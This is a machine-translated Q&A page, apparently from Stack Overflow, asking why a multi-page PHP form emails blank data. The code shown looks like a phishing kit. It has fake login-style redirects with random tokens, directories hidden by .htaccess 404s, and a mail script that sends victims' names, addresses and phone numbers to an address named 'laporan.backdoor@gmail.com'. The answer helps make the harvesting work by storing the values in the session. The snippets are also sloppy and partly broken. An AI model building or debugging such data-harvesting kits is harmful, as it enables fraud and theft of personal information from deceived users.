使用$ _SESSION和$ _POST的多个输入值

时间:2015-07-12 15:01:50

标签: php html .htaccess

请帮我解决这个问题

我有3页html

Page 1 login.html

<form action='detail.html' method='post'>Name:<input type='text'
name='enteruser'/> <input type='submit' value='Submit'/></form>"

Page 2 detail.html

<form action='contact.html' method='post'>
Address: <input type='text' name='Address'/>
<input type='submit' value='Submit'/></form>";

Page 3 contact.html

<form action='send.php' method='post'>
Phone Number: <input type='text' name='contactid'/>
<input type='submit' value='Submit'/></form>";
在defferen目录中的

/ a / b / c

替换原始页面我使用这样的PHP代码给我随机url:

<?
<html><head> 
<meta http-equiv="refresh" content="0; URL=Login.php?msg=OnlineIdEmpty&request_locale=<?echo
rand();?>&statusCode=<?echo md5(uniqid(time()));?>"> 
<script language="JavaScript" type="text/javascript"> 
<!-- 
function redirect() {setTimeout("window.location.replace(Login.php?msg=OnlineIdEmpty&request_locale=<?echorand();?>&statusCode=<?echo md5(uniqid(time()));?>')", 0); } 
--> 
</script> 
</head>
?>

我给的每个目录.htaccess 404

但是当我尝试获取页面的所有输入值到我的电子邮件时 使用PHP代码:

<?
$do = "mail";
$browser = $_SERVER['HTTP_USER_AGENT'];
$ip = getenv("REMOTE_ADDR");
$message .= "---------------Log-----------------\n";
$message .= "Name: ".$_POST['enteruser']."\n";
$message .= "Address: ".$_POST['Address']."\n";
$message .= "Phone: ".$_POST['contactid']."\n";
$send = "laporan.backdoor@gmail.com";
$subject = "Report";
$headers = "From: Customer<newlog@blalala.com>";
$headers .= $_POST['eMailAdd']."\n";
$headers .= "MIME-Version: 1.0\n";
$arr=array($send, $IP);
foreach ($arr as $send)
{
mail($send,$subject,$message,$headers);
$do($er,$subject,$message,$headers);
}
?>

我的电子邮件中有空白信息,你能说出错误吗? 源代码或者我做错了什么?

因为我已经放了session_start() $_SESSION$_POST 每个html页面,但它仍然无法正常工作

1 个答案:

答案 0 :(得分:0)

当你提交login.html时,在会话中保存enteruser的值,当你提交contact.html保存会话中的地址值时,你可以在联系表格中使用这些值,如下所示:

$message .= "Name: ".$_SESSION['enteruser']."\n";
$message .= "Address: ".$_SESSION['Address']."\n";

现在检查......